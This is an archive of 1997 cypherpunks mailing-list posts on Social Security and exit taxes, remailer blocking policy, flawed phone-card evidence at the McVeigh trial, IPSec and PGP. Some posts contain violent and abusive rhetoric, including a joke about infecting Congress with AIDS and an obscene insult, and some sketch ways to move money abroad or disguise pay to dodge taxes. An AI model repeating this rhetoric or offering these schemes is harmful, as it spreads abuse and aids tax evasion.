now)...well, the numbers don't look good. I've heard estimates that the tax
rate on those still working in 2020 may have to be 80%. That won't fly. So
some things are going to break, and break very badly.

And the Congressvermin are still attempting to impose an "exit tax" on
accumulated assets, so that if I tried to move my assets (remember, assets
= property = purchased things, not at all the same thing as "income") to
some other country.

(There are those I mention this to who don't seem to understand the point,
and who mutter about tax evasion. Well, the purpose of moving assets may
indeed be avoid confiscatory taxes. But the fact is that it says one's
property (jewels, furniture, stocks, etc.) are not one's own to move around
as one sees fit, to take with one to a foreign residence. This would make
the U.S. like the Soviet Union in this regard.)

As we all know, the SS system is just a gigantic Ponzi scheme. Like
gambling, the government runs operations it imprisons others for running.

I'm not even sure that 60 megatons of disinfectant would handle the cancer
that is Washington.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 31 May 1997 01:26:08 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Clinton on privacy and the Internet
In-Reply-To: <Pine.GSO.3.95.970530083755.22213G-100000@well.com>
Message-ID: <199705301701.MAA05385@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970530083755.22213G-100000@well.com>, on 05/30/97 
   at 08:38 AM, Declan McCullagh <declan@well.com> said:

>   As the Internet reaches to touch every business and every
> household and we face the frightening prospect that private
> information -- even medical records -- could be made instantly
> available to the world, we must develop new protections for
> privacy in the face of new technological reality.

More government regulations & intrusions. And ofcource no protection from
the Government which is the real threat.

>  (Applause.) <==Sheeple
   ^^^^^^^^^^^ 
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM48I7I9Co1n+aLhhAQGlMgP/R+S3pp6s76++HGLEyK9e79GDdI4AkqgI
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 31 May 1997 03:35:51 +0800
To: cypherpunks@toad.com
Subject: There's something wrong...
Message-ID: <199705301914.MAA26873@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Friday, May 30, 1997 - 21:07:32 MET

>   A major nail in the coffin of Justice for any accused in the U.S.
> 
> was when the justice system promoted the concept of guilt by virtue
> 
> of "circumstantial" evidence to the point where people can now be
> 
> convicted as a result of speculation rather than evidence. Prosecutors
> 
> now seem to need only to convince the sheeple that it was "possible"
> 
> for the defendant to have commited the crime and that circumstantial
> 
> evidence points *only* to the accused.

Actually we are well passed that point. Jim Bell's arrest and pending 
prosecution amounts to thought crime. Its not "possible they commited 
a crime" now its possible that they "may" commit a crime.

 At Waco, dozens of innocents were killed, burned alive on national 
television in their home and church from an unwarranted, excessive 
use of force in order to serve a search warrant on David Koresh for 
what they "may" have been doing.  No one was under indictment, under 
arrest or accused of an actual crime, yet through media manipulation 
that branded koresh and his followers Kooks, the nation watched 
another act of Statist-TV-Terrorism. The message through the 
medium this time?,   "We don't need no stinking charges."

Mandatory sentencing (a legislative and executive end run that usurps 
judiaciary power by eliminating judicial discretion)

 Terroristic Speech (a euphemism for 'thought 
crime' in many cases) are two examples of end runs around citizens 
contitutionaly protected rights that are being used daily to commit 
violent attacks on individual citizens civil rights.



        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Burchell <jeff@fat.doobie.com>
Date: Sat, 31 May 1997 03:58:28 +0800
To: Paul Pomes <ppomes@Qualcomm.com>
Subject: Re: Continuing spam from vulis
In-Reply-To: <10948.865019869@zelkova.qualcomm.com>
Message-ID: <Pine.LNX.3.96.970530123734.9455K-100000@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Paul Pomes wrote:

> The wider circulation is due to the complete lack of response from
> remailer-admin@cajones.com.

Be careful when you say "Complete lack of response".  You've got no idea
what I did and didn't do once I got your message.

I have previously talked with the operator of the cypherpunks list (this
was about 2 months ago when someone else was abusing the remailer to post
trash to that list). At that time, I offered the standard good will
gesture that remailer operators can offer: "Would you like me to block the
list, so this remailer won't send anything to it".  Because of the nature
of anonymous remailers, this is about the extent of the action that I can
take. 

To this, I recieved a very firm "no!" (cypherpunks is of course a list
where people do have good reasons to use remailers).  Because of that, I
_WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
Hughes, et.al. Period.  This holds true for all mailing lists. I need to
have authorization from the list maintainer to block the list.  

I have added your address to my block list, this remailer won't send
anything directly to you in the future.  If you don't want to read
anything from this mailer that comes across lists, then you should either
manually delete anonymous messages before reading them (the headers and
return address make it obvious when a message has come through a
remailer), or turn on some client-side mail filters.  Your own company
makes a product with adaquate functionality to do this. 

-Jeff
Operator... Huge.cajones.com

P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
      tradition?

P.P.S.  Isn't there a non-flames moderated cypherpunks?  Perhaps you
        want to be on that list instead of the free-for-all.

-----------------------------------------------------------------------------
"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing." 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 04:59:04 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <v03102801afb4ccdecef3@[207.167.93.63]>
Message-ID: <v03102801afb4e9c7401c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:55 PM -0700 5/30/97, Ray Arachelian wrote:
>On Fri, 30 May 1997, Tim May wrote:
>
>> And the Congressvermin are still attempting to impose an "exit tax" on
>> accumulated assets, so that if I tried to move my assets (remember, assets
>> = property = purchased things, not at all the same thing as "income") to
>> some other country.
>
>This is really a double tax since if you own assets, you've already paid
>taxes on those said assets in the form of income tax.  If it's an
>inheritance, that too was taxed, so what the fuck?  What's the
>justification behind this other than exit rape?

The exit tax would of course only be applied to the _gain_ in the value of
an asset. As such, it is not double taxation (modulo the inflation issue).,

If I bought 1000 shares in a stock at $20 and it was still at $20, no exit
tax would be owed. If it had gone up to $30, a 28% tax (as proposed) would
be levied on the $10,000 putative gain.

This would apply even if the stock had not been sold, which is what the
issue really is about. (Imagine having to pay a 28% tax on any putative
gain in the value of personal possessions like old records or jewelry moved
overseas.)

And of course I don't imagine they'll issue _refunds_ for losses! ("Hi, I'm
moving to Paris. I'm taking some stocks with me, most of them dogs. Please
write out a check for $37,863.91 to cover 28% of the loss.")

The issue of course is that the proposed exit tax tries to recapture taxes
on income *not yet realized*.

>I suppose one way is to take loads of trips and loads of AmEx traveler's
>checks, then gamble on things with 50% chance of winning, take the
>winnings and dump'em in accounts outside.  Repeat until nothing's left,
>then exit with very little.

There are of course many such tricks. Many don't even muling your own cash
across borders. (And the Empire strikes back by calling many of these
things "structuring," for which the laws are very confusing and are so
designed to terrorize citizen-units into not trying them.)

>> As we all know, the SS system is just a gigantic Ponzi scheme. Like
>> gambling, the government runs operations it imprisons others for running.
>
>So let's sue the system.  Might fail, but maybe we can get it the fuck out
>of our income taxes.  One less tax to bother with.  Since it no longer


Let us know  how it turns out.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 05:07:27 +0800
To: Jeff Burchell <cypherpunks@toad.com
Subject: Re: Continuing spam from vulis
In-Reply-To: <10948.865019869@zelkova.qualcomm.com>
Message-ID: <v03102802afb4ec9eeaff@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I've removed 9 of the addresses from this response.)

At 12:42 PM -0700 5/30/97, Jeff Burchell wrote:

>I have previously talked with the operator of the cypherpunks list (this
>was about 2 months ago when someone else was abusing the remailer to post

And just who is "the operator of the cypherpunks list"? If this was about 2
months ago, it would've been well after the Cypherdiaspora, so there would
be even less of a concept of the "operator" than there was before. And why
would he or she or they have anything to say about blocking remailers?

>trash to that list). At that time, I offered the standard good will
>gesture that remailer operators can offer: "Would you like me to block the
>list, so this remailer won't send anything to it".  Because of the nature
>of anonymous remailers, this is about the extent of the action that I can
>take.
>
>To this, I recieved a very firm "no!" (cypherpunks is of course a list
>where people do have good reasons to use remailers).  Because of that, I
>_WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
>Hughes, et.al. Period.  This holds true for all mailing lists. I need to
>have authorization from the list maintainer to block the list.

Neither May nor Gilmore nor Hughes have any say over blocking remailers,
blocking use of remailers, etc.

>-Jeff
>Operator... Huge.cajones.com
>
>P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
>      tradition?

I mean no disrespect to Jeff, but even getting involved in the slightest
way in debates about remailer traffic and what should/should not be blocked
is what can only be called a "conceptual error."

Ideal mixes, which today's remailers are of course only an approximation
of, do not pass and reject messages based on content, or even on sources
and destinations. The ideal mix is a soulless black box executing certain
protocols.

(Practicality may dictate that a remailer place certain minimal, and
hopefully publicized, constraints on the process, e.g., no sending to
whitehouse.gov, no sending to hundreds of addresses, whatever.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 31 May 1997 01:29:53 +0800
To: cypherpunks@algebra.com
Subject: Forward: Tim McVeigh trial info from RISKS DIGEST 19.19 (fwd)
Message-ID: <Pine.LNX.3.91.970530141650.807B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




The following may be of interest to those following the Tim McVeigh OKC 
trial, it relates to technical flaws in the evidence relating to the 
telephone debit card McVeigh allegedly used.
	
        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

------------------------------

Date: Wed, 28 May 1997 11:47:43 -0700 (PDT)
From: hbaker@netcom.com (Henry G. Baker)
Subject: Oklahoma bombing trial transcripts

RISKS readers may find the following transcript from the OK bombing trial
to be particularly interesting:
  http://www.cnn.com/US/9703/okc.trial/transcripts/may/050697.eve.txt
(Note CNN's Y2K problem, but that's for another time!)

This transcript was brought to the attention of another usenet group due to
its details of how the debit-card business works.

The bulk of this transcript deals with the testimony of a Mr. John Kane, an
executive of the company that handled the telephone debit card that was
allegedly used.

Problems:

There was no one computer that had all of the information necessary to
connect a phone debit-card number, the phone number from which a call was
made, and the phone number to which the call was made.  3 different logs
from 3 different computer systems whose clocks were not synchronized must be
related in order to determine this information.  Therefore, it is difficult
to relate the logs in an unambiguous manner.  Furthermore, the logs indicate
only a physical port number, and the only way to determine the
correspondence is to _physically inspect_ the connectivity of the cables.

Q. How often were the cables rearranged?  Since the system would work fine
with a different permutation of the cables, what assurance do we have that
the cables had not been rearranged by a technician who many never have told
anyone, or not even realized himself?

Due to the large sizes of these files (2.5 billion calls!), the 'matching'
process allowed for +/- 4 minutes 'slop' in comparing the clock times of the
different logs.  Q.  Did they take into account Daylight Savings Time
(especially given the problems we're recently been talking about)?

Q. Did they take into account the fact that on different days the clocks may
have had different discrepancies?

There are key items missing from the most important transaction log.  This
is because this computer was _intentionally rebooted_ 3 times every day
(perhaps at midnight, 8AM, 4PM, all Los Angeles time).  Each time the
computer was rebooted, some transactions were lost; whether from not having
been saved from the write buffer, or not being logged during a length boot
process, was not made clear.  Apparently, a very critical phone call was one
of the transactions that were not logged due to this rebooting.  (What are
the chances of this??)

Why was this computer rebooted 3X per day?  Because it had apparently been
crashing of its own accord prior to this, and those crashes had been very
inconvenient, so it was decided that purposely rebooting would result in
fewer complaints.  This rebooting may have resulted in a slight loss of
revenue, as well, as the missing calls may never have been logged.

There is a presumption that if a PIN (in this case a 14-digit PIN) is being
used, that only one person could possibly have used it.  However, apparently
this system did not check to see that multiple people (perhaps in different
parts of the country) were not using the same PIN number at the same time.
(Unlike many prepaid phone cards in Europe, there is no physical card to
plug into the phone -- the _only_ proof of identity is the PIN.)

Henry Baker  ftp://ftp.netcom.com/pub/hb/hbaker/home.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Sat, 31 May 1997 05:33:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto Disputes
In-Reply-To: <1.5.4.32.19970529230949.00937498@pop.pipeline.com>
Message-ID: <5mngcl$4e7@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <1.5.4.32.19970529230949.00937498@pop.pipeline.com>,
John Young  <jya@pipeline.com> wrote:
>      For two years, the IETF Security Group has labored to
>      hammer out the IP Security (IPSec) protocol, a standard way
>      that businesses can open up an encrypted link to a trading
>      partner's network. [...]
> 
>      But an unresolved, bitter dispute over the technique for
>      automatically swapping keys over the 'Net - referred to as
>      key management - has resulted in two incompatible schemes
>      in the IPSec specification.
> 
>      In this battle of the acronyms, the debate centers on the
>      Simple Key Management for IP (SKIP), developed by Sun
>      Microsystems, Inc., and the Internet Secure Association Key
>      Management Protocol (ISAKMP), developed by the National
>      Security Agency. 

Heh.  This article is way behind the times.  (Either that, or the reporter
has been listening too closely to Sun marketing hype.)

ISAKMP/Oakley has been endorsed as the mandatory-to-support key management
standard for ipsec.  Proposals to make SKIP mandatory were explicitly rejected.

The bitter debate is over, and ISAKMP/Oakley won.

>                         The link is encrypted after authentication
>      by means of an X.509 digital certificate at an IPSec-based
>      firewall or gateway. 

Hoo boy is this reporter clueless!  Don't you believe it for even an instant.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 31 May 1997 05:01:46 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: GAK
In-Reply-To: <199705301816.LAA23316@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970530143724.38906A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> May Timothy Maypole's forgeries get stuck up his ass so he'll have to shit 
> through his filthy mouth for the rest of its miserable life.
> 
>                  .::7777::-.
>                 /:'////' `::>/|/
>               .',  ||||   `/( e\  Timothy Maypole
>           -==~-'`-Xm````-mr' `-_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Burchell <jeff@fat.doobie.com>
Date: Sat, 31 May 1997 06:06:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Continuing spam from vulis
In-Reply-To: <v03102802afb4ec9eeaff@[207.167.93.63]>
Message-ID: <Pine.LNX.3.96.970530140104.9455M-100000@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Tim May wrote:

> (I've removed 9 of the addresses from this response.)

Thanks, those were the addresses that Mr. Pomes sent his message to
including my employer and the abuse address for my employer's provider.
Since he was accusing me of being unresponsive, I figured I should
probably send my response to those folks as well.

> And just who is "the operator of the cypherpunks list"

At the time it was whomever was moderating the non-flames list, before
that it was probably John Gilmore, because he runs toad.com where it used
to be hosted.  I haven't been on cypherpunks since I was in college, or
really paid much attention to it.  I can probably dig through my mail
archive to find out exactly who I corresponded with, because my memory for
names is horrible, but frankly I'm lazy, and don't really want to do this. 

> And why
> would he or she or they have anything to say about blocking remailers?

Standard Policy.  Some people don't want to get anonymous mail, and my
remailer (and all others to my knowlege) has the capability of blocking
mail sent to particular addresses. If the address is a mailing list, I
require the maintainer of the list to actually request the block. 

Most lists have a single person (or group of people) who informally "run"
the list.  Often it's whomever is administrating the machine that is
acting as the list exploder, sometimes a list moderator, etc. etc. 

> Neither May nor Gilmore nor Hughes have any say over blocking remailers,
> blocking use of remailers, etc.

Admittedly, I did pull those names out of mostly thin air, as they are the
people who I feel can speak most authoritatively for the wishes of the
list.  Cypherpunks is an unusual example of a list without an authority
(or with lots of authorities, depending on how you look at it). 

But, really, in the unlikely event that I got mail from one of those three
asking for the cypherpunks list to be blocked, I would be likely to honor
it. I seriously doubt that this would ever happen, though. 

> I mean no disrespect to Jeff, but even getting involved in the slightest
> way in debates about remailer traffic and what should/should not be blocked
> is what can only be called a "conceptual error."

Agreed (and no disrespect taken).  My posting was a quick comment stating
why I refuse to tell my remailer not to mail to the cypherpunks list. 
Shit, if any mailing list should be anonymous-mail friendly it should be
this one.

> Ideal mixes, which today's remailers are of course only an approximation
> of, do not pass and reject messages based on content, or even on sources
> and destinations. The ideal mix is a soulless black box executing certain
> protocols.
> 
> (Practicality may dictate that a remailer place certain minimal, and
> hopefully publicized, constraints on the process, e.g., no sending to
> whitehouse.gov, no sending to hundreds of addresses, whatever.)

Exactly... The reason that blocking by source or destination exists is to
keep the remailers operating, and the remailer operators out of court.  In
an ideal world, everyone would be comfortable with the concept of
anonymity and blocking techniques would be unnecessary.  Right now that
isn't the case, and I don't see this changing for the better anytime soon.
So, I have to have policies like "if you want a block, send me mail from
the account you want blocked, if you want a mailing list blocked, then get
whomever is in charge of the list to contact me."

I don't (and can't) block anything based on content... it's either all or
nothing.  In other words, I can't tell the remailer not to send anti-Tim
May postings unless I tell it not to send anything at all.  I know better
than to think that you or most cypherpunks readers want this.

We're on the same page, Tim.

-Jeff

-----------------------------------------------------------------------------
"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing." 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 31 May 1997 04:06:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <v03102801afb4ccdecef3@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970530154726.11689B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Tim May wrote:

> And the Congressvermin are still attempting to impose an "exit tax" on
> accumulated assets, so that if I tried to move my assets (remember, assets
> = property = purchased things, not at all the same thing as "income") to
> some other country.

This is really a double tax since if you own assets, you've already paid
taxes on those said assets in the form of income tax.  If it's an
inheritance, that too was taxed, so what the fuck?  What's the
justification behind this other than exit rape?

I suppose one way is to take loads of trips and loads of AmEx traveler's
checks, then gamble on things with 50% chance of winning, take the
winnings and dump'em in accounts outside.  Repeat until nothing's left,
then exit with very little.

> As we all know, the SS system is just a gigantic Ponzi scheme. Like
> gambling, the government runs operations it imprisons others for running.

So let's sue the system.  Might fail, but maybe we can get it the fuck out
of our income taxes.  One less tax to bother with.  Since it no longer
does what it is supposed to, might as well get rid of it.  One way is to
calculate how much you've put in it, and what is expected you'll receive
on retirement.  Compare the two, then sue the bastards.   (I donno what
I've been smoking, but I should get more of it, that's for sure. heheheh)
 
> I'm not even sure that 60 megatons of disinfectant would handle the cancer
> that is Washington.

Not worth wasting the disinfectant IMHO.  I'd say take the money, purchase
the favors of AIDS infect whores and throw congress and the senate a
really big party. :)  Oh, and make sure the condoms have holes.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 31 May 1997 04:56:09 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: relevance to Hayek research?
In-Reply-To: <v0302098cafb48a428199@[139.167.130.247]>
Message-ID: <3.0.2.32.19970530160325.0074fa58@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:44 AM 5/30/97 -0400, Robert Hettinga wrote:
>discussion here, spoke the Assistant Director of FinCEN. FinCEN stands for
>the Financial Crimes Enforcement Network, a truly amazing government agency
>which has the ability to tell anyone with a credit card or checking account
>not only what his current bank balance is, but, through perfectly legal
>"administrative requests" to his bank, what his, say, total clothing and
>grocery expenditures were last year, categorized by store. 

...if the bank and credit card are in the target's True Name in the U.S. or a 
cooperating jurisdiction.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 31 May 1997 04:51:05 +0800
To: cypherpunks@algebra.com
Subject: Re: Comments on the Macintosh
In-Reply-To: <3.0.2.32.19970530070318.035fc7ac@panix.com>
Message-ID: <3.0.2.32.19970530162828.0074f42c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:15 AM 5/30/97 -0700, Tim May wrote:

>Newsflash: With the prodding and help of Vinnie M., I took a day last week
>and installed the latest versions of all of my major applications.  I
>successfully ran the installation on my bootleg copy of PGP 5.0 (obtained
>from my friendly spy), but have not yet spent time integrating it with
>Eudora Pro 3.1, which I understand is possible.
>
>(Please: No helpful suggestions. All of the information I need to do this
>is apparently contained in the docs...I just haven taken the time off from
>doing other things to do this.)

No helpful suggestion here but I wanted to point out that in both instances 
after I installed PGPMail 4.5 in January and PGP for Personal Privacy 5.0
last 
week, I found that the cute little radio buttons had been automagically 
installed in my copy of Eudora Pro 3.0 (they also work with the freeware Lite 
version of 3.0).  They do not appear on the frames of the general program 
"window" because encryption/decryption cannot be used there but if you open a 
message window to create a message or to read a message, there the little 
buttons are.  I am using WIN95 of course.

If the Mac is not as user friendly, I think that's too bad.  Look on the 
message window frames.  Maybe the buttons are there.

I've been frantically signing and encrypting ever since January.  I want PGP 
Inc. to release PGP Disk for WIN95 (it's out for the MAC).  I need a disk 
encryptor that can work with WIN32.

I have even been able to browbeat friends and family into installing the new 
PGP versions.  There's a lot to be said for on-click encryption (or no click 
in the case of 5.0 since you can set signing or encryption or both to be the 
default condition for Eudora.  Hit <Queue> of <Send> and PGP pops up and does 
its thing.


DCF




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:10:34 +0800
To: jeff@fat.doobie.com (Jeff Burchell)
Subject: Re: Continuing spam from vulis
In-Reply-To: <Pine.LNX.3.96.970530123734.9455K-100000@fat.doobie.com>
Message-ID: <199705302242.RAA16939@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jeff Burchell wrote:
> On Fri, 30 May 1997, Paul Pomes wrote:
> To this, I recieved a very firm "no!" (cypherpunks is of course a list
> where people do have good reasons to use remailers).  Because of that, I
> _WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
> Hughes, et.al. Period.  This holds true for all mailing lists. I need to
> have authorization from the list maintainer to block the list.  

Excuse me, what do these individuals have that allows them to give
instructions to remailer operators?

> P.P.S.  Isn't there a non-flames moderated cypherpunks?  Perhaps you
>         want to be on that list instead of the free-for-all.

There is one, operated by Ray Arachelian, I believe.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:14:52 +0800
To: mifp-submit@netline.net
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
Message-ID: <199705302257.RAA17014@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

eclan McCullagh wrote:

http://www.socialsecurity.org

> I'm over at the National Press Club now, just came from a Cato Institute
> press conference unveiling their socialsecurity.org web site. It lets you
> calculate your retirement income and compare how much you'd get from the
> Federal government's Social Security "fund" compared with a private system
> like a 401(k). 
> 
> And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
> year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
> percent, Social Security would give me $1,293 a month after I retire. And
> that's if you assume Social Security won't go belly-up, a hard position to
> maintain since its own trustees say it's underfunded by 25 to 33 percent.
> 
> Compare that to a stock fund, which yields so much more: $8,635 a month.
 
> I can't think of a better argument to privatize Social Security and move
> to a system like an IRA or 401(k), a solution the Cato folks have
> advocated for years.

Remember though that past performance does not guarantee future results.

I see no reason why the stockmarket should (or should not) continue
to give the spectacular gains that it gave in the past.

While having more options generally increases people's well being, we
have to expect a substantial amount of people whose investments will be
lost in various perturbations that lie ahead.

We may expect to the government to be under strong pressure to feed these
old folks.

What bothers me most is what would happen if the market went bust again
as badly as it did in 1929-1934. I believe that it is by far not 
impossible. Then we'd get stuck in a market downturn, with millions of
retured people with few means to support themselves, and the government 
unable to collect enough money to feed them (which is unconstitutional
anyway).

[I understand that the optimal allocation of assets in retirement funds
should become more and more conservative with age, as people are less
and less able to tolerate risk and recoup losses with more earnings, but
I am sure that many investors will not pay enough attention to that.]

Now, that does not mean that SS should not be privatized (it should),
but the picture is not as rosy and not as certain as that stupid Java
applet suggests.

	- Igor.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 31 May 1997 07:18:25 +0800
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.SUN.3.96.970530154726.11689B-100000@beast.brainlink.com>
Message-ID: <199705302305.SAA17152@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Ray Arachelian wrote:
> This is really a double tax since if you own assets, you've already paid
> taxes on those said assets in the form of income tax.  If it's an
> inheritance, that too was taxed, so what the fuck?  What's the
> justification behind this other than exit rape?

The problem is that capital gains can be used to pay people money
and avoid income taxation.

Example: suppose that I hire you to design my website. Instead of
paying you $10,000, I sell you a security for $1,000 and repurchase it
from you next year for $12,000. As a result, you would not have to pay
the feds anything if there was no capital gains tax.

There are many ways in which this can be done by individuals and
companies alike.

I would rather use sales tax and repeal both capital gains tax and
income tax, than get rid of capital gains tax but not of the income tax.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 31 May 1997 07:25:38 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong...
In-Reply-To: <199705301914.MAA26873@fat.doobie.com>
Message-ID: <3.0.2.32.19970530190910.03716738@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:14 PM 5/30/97 -0700, Huge Cajones Remailer wrote:

> At Waco, dozens of innocents were killed, burned alive on national 
>television in their home and church from an unwarranted, excessive 
>use of force in order to serve a search warrant on David Koresh for 
>what they "may" have been doing.  No one was under indictment, under 
>arrest or accused of an actual crime, yet through media manipulation 
>that branded koresh and his followers Kooks, the nation watched 
>another act of Statist-TV-Terrorism. The message through the 
>medium this time?,   "We don't need no stinking charges."

